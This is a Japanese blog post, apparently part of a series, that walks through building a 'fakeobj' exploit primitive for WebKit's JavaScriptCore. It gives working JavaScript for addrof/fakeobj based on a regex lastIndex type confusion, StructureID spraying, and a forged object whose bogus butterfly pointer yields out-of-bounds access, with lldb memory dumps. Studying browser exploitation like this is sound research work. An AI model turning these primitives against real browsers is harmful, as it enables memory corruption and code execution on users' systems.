前回の記事 では addrof
という関数を作り、メモリリークを行った。
この記事 では addrof
の反対の動作をするものとして fakeobj
という attack primitive が紹介されている。
attack primitive とは exploit primitive とも呼ばれ、攻撃を成功させる過程のうちの1つのテクニックみたいなイメージ。
addrof
が object
を配列に追加し、その object
へのポインタを double
の値として読み取るというのが前回行った内容である。
それに対して fakeobj
は配列に double
を追加して object
を作成するテクニック。
ちょっと「?」となるが、要は次のようなイメージになる。
>>> o = {}
>>> o.x = 1
>>> addr(o)
# 2.2213025115e-314
>>> fake = fakeobj(2.2213025115e-314)
>>> fake.x
# 1
>>> fake.x = 2
# 2
上記では単純に o
を取得しているだけだが、もし Object のプロパティ値に JSObject として有効な値が入っており、それを fakeobj()
で取得できたらどうなるだろうか。
メモリ上だと次のようなレイアウトになり、このときに 0x0108ab00c0 + 0x10
を参照するようなイメージ。
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x1082009000000129 0x0000000000000000
0x108ab00d0: 0x1082009000000299 0x0000000000000000 ← JSObject として有効な値
0x108ab00e0: 0xffff000000000003 0x0000000000000000
そしてこれを活用して Memory Corrupution を引き起こしたり、任意コード実行へと繋げることができる。
fakeobj
を書くと次のようになる。
fakeobj()
には引数としてaddrof()
などで得られたアドレスの double 値を渡すAddrGetter
をAddrSetter
とし、値を返すのではなく値をセットする。lastIndex
が参照され、toString
が呼ばれたときにarray[0]
にはobject
をセットする。- 最後に
array[0]
を返す動作としては同じ
上記をコードにするとこう。
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
function getarray() {
return array;
}
var AddrGetter = function(array) {
reg[Symbol.match]();
return array[0];
}
for (var i = 0; i < 100000; ++i)
AddrGetter(array);
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
return AddrGetter(array);
}
function fakeobj(val) {
var array = [13.37];
var reg = /acg/y;
var AddrSetter = function(array) {
reg[Symbol.match]();
array[0] = val;
}
for(var i=0; i<10000; ++i) {
AddrSetter(array);
}
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
AddrSetter(array);
return array[0];
}
このコードを動かすと次のように、元の object を取得できる。
❯ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
run /tmpCurrent executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i /tmp/test.js
Process 96221 launched: 'WebKit/webkit/WebKitBuild/Debug/bin/jsc' (x86_64)
>>> fake = {}
[object Object]
>>> fake.a = 1
1
>>> fake.b = 2
2
>>> fake.c = 3
3
>>> describe(fake)
Object: 0x108ab00c0 with butterfly 0x0 (Structure 0x108a70460:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 297
>>> addrof(fake)
2.193845078e-314
>>> a = fakeobj(addrof(fake))
[object Object]
>>> a.a
1
>>> a.b
2
ここで addrof で得られた値に 0x10 加算するとポインタがズレてプロパティの値を指すようになる。
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000 ----+ <-- fake(addr)
|
0x108ab00d0: 0xffff000000000001 0xffff000000000002 <---+ <-- fake(addr + 0x10)
0x108ab00e0: 0xffff000000000003 0x0000000000000000
今の状態では StructureID と Butterfly Pointer が不正なため、有効な Object を作ることができない。
また、StructureID を JavaScript から知る方法も存在しない。
したがって目的のオブジェクトの StructureID を推測するしかないが、オブジェクト自体を大量に作って spray することで、適当に選んでも取得できるようにする。
>>> for (var i=0; i<0x1000; i++) {
test = {}
test.x = 1
test['prop_' + i] = 2
}
>>> describe(test)
Object: 0x108e05540 with butterfly 0x0 (Structure 0x108e0ad80:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 4395
StructureID が非常に大きい値になっている。その分適当に値を設定しても有効な StructureID を引くことができる。
例えば 0x0100160000002000
に定めてみる。
In [1]: import struct
In [2]: struct.unpack("d", struct.pack("Q", 0x0100160000002000))
Out[2]: (7.330283319479387e-304,)
>>> fake.a = 7.330283319479387e-304
7.330283319479387e-304
>>> describe(fake)
Object: 0x108ab00c0 with butterfly 0x0 (Structure 0x108a70460:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 297
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5bb0beee <+10>: jae 0x7fff5bb0bef8 ; <+20>
0x7fff5bb0bef0 <+12>: movq %rax, %rdi
0x7fff5bb0bef3 <+15>: jmp 0x7fff5bb0a41d ; cerror
0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000
0x108ab00d0: 0x0101160000002000 0xffff000000000002
0x108ab00e0: 0xffff000000000003 0x0000000000000000
ただよく見ると 0x0100...
であってほしいのに 0x0101...
になっている。
実際には内部のエンコードで 0x1000000000000
が加算されているようなので、減算する。
In [3]: struct.unpack("d", struct.pack("Q", 0x0100160000002000 - 0x1000000000000))
Out[3]: (7.082855106406755e-304,)
この値を再度 fake.a
にセットするとプロパティとして有効そうな目的の値にセットできた。
>>> fake.a = 7.082855106406755e-304
7.082855106406755e-304
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5bb0beee <+10>: jae 0x7fff5bb0bef8 ; <+20>
0x7fff5bb0bef0 <+12>: movq %rax, %rdi
0x7fff5bb0bef3 <+15>: jmp 0x7fff5bb0a41d ; cerror
0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000
0x108ab00d0: 0x0100160000002000 0xffff000000000002
0x108ab00e0: 0xffff000000000003 0x0000000000000000
次は butterfly address を 0x0 にしたいが、これは単純にプロパティを消せばいい。
>>> delete fake.b
true
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5bb0beee <+10>: jae 0x7fff5bb0bef8 ; <+20>
0x7fff5bb0bef0 <+12>: movq %rax, %rdi
0x7fff5bb0bef3 <+15>: jmp 0x7fff5bb0a41d ; cerror
0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x010016000000112c 0x0000000000000000
0x108ab00d0: 0x0100160000002000 0x0000000000000000
0x108ab00e0: 0xffff000000000003 0x0000000000000000
これで fakeobj(addrof(fake) + 0x10)
すると 0x108ab00d0
のオブジェクトが取得できる。
>>> addrof(fake)
2.198593642e-314
In [6]: addr = 2.198593642e-314
In [6]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
Out[6]: '0x1093da880'
In [7]: struct.unpack("d", struct.pack("Q", 0x1093da880 + 0x10))
Out[7]: (2.1985936497e-314,)
>>> o = fakeobj(2.1985936497e-314)
[object Object]
>>> describe(o)
Object: 0x1093da890 with butterfly 0x0 (Structure 0x1093e5180:[Object, {x:0, prop_7897:1}, NonArray, Proto:0x1082b4000, Leaf]), StructureID: 8192
>>> o.x
3
>>> fake.c = "test"
test
>>> o.x
test
Memory Corrupution
上記の例では StructureID や butterfly が有効な値であるが、もし不正な値だった場合は OOB となる。
var buf = new ArrayBuffer(0x10);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var fake = {
cell_header: 1,
butterfly: 2,
};
f64[0] = addrof(fake);
u32[0] += 0x10;
var hax = fakeobj(f64[0]);
この場合、StructureID は不正なのでオブジェクト自体にアクセスができない。
>>> hax
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef)
frame #0: 0x0000000101998bae JavaScriptCore`::WTFCrash() at Assertions.cpp:255:35
252 #if ASAN_ENABLED
253 __builtin_trap();
254 #else
-> 255 *(int *)(uintptr_t)0xbbadbeef = 0;
256 // More reliable, but doesn't say BBADBEEF.
257 #if COMPILER(GCC_COMPATIBLE)
258 __builtin_trap();
もし butterfly のみが不正な値の場合は、特定のメモリアドレスへ OOB することができる。
var buf = new ArrayBuffer(0x10);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000; // ArrayWithDouble の flag
var flags_double = f64[0];
u32[0] = 0x41414141 // butterfly
u32[1] = 0x42424242 - 0x10000; // butterfly
var outer = {
// このフィールドは hax object の JSCell と butterfly になる
cell_header: flags_double,
butterfly: f64[0],
};
f64[0] = addrof(outer);
u32[0] += 0x10;
// outer から + 0x10 シフトして outer のコメントの内容で fake object を作る
var hax = fakeobj(f64[0]);
上記では hax の butterfly が 0x4242424241414141
となるので、 hax.length
を実行すると butterfly へアクセスして 0x4242424241414141
への OOB でクラッシュする。
>>> describe(hax)
Object: 0x1092c83b0 with butterfly 0x4242424241414141 (Structure 0x1092463e0:[Array, {prop:100, p189:101}, ArrayWithDouble, Proto:0x1092c80a0, Leaf]), StructureID: 512
>>> hax.length
Process 3724 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x00000001000354ec jsc`JSC::IndexingHeader::publicLength(this=0x4242424241414139) const at IndexingHeader.h:64:54
61 u.lengths.vectorLength = length;
62 }
63
-> 64 uint32_t publicLength() const { return u.lengths.publicLength; }
65 void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; }
66
67 ArrayBuffer* arrayBuffer() { return u.typedArray.buffer; }
そしてこれを利用して任意のアドレスを書き換えたりできるのだが、それはまた次回で…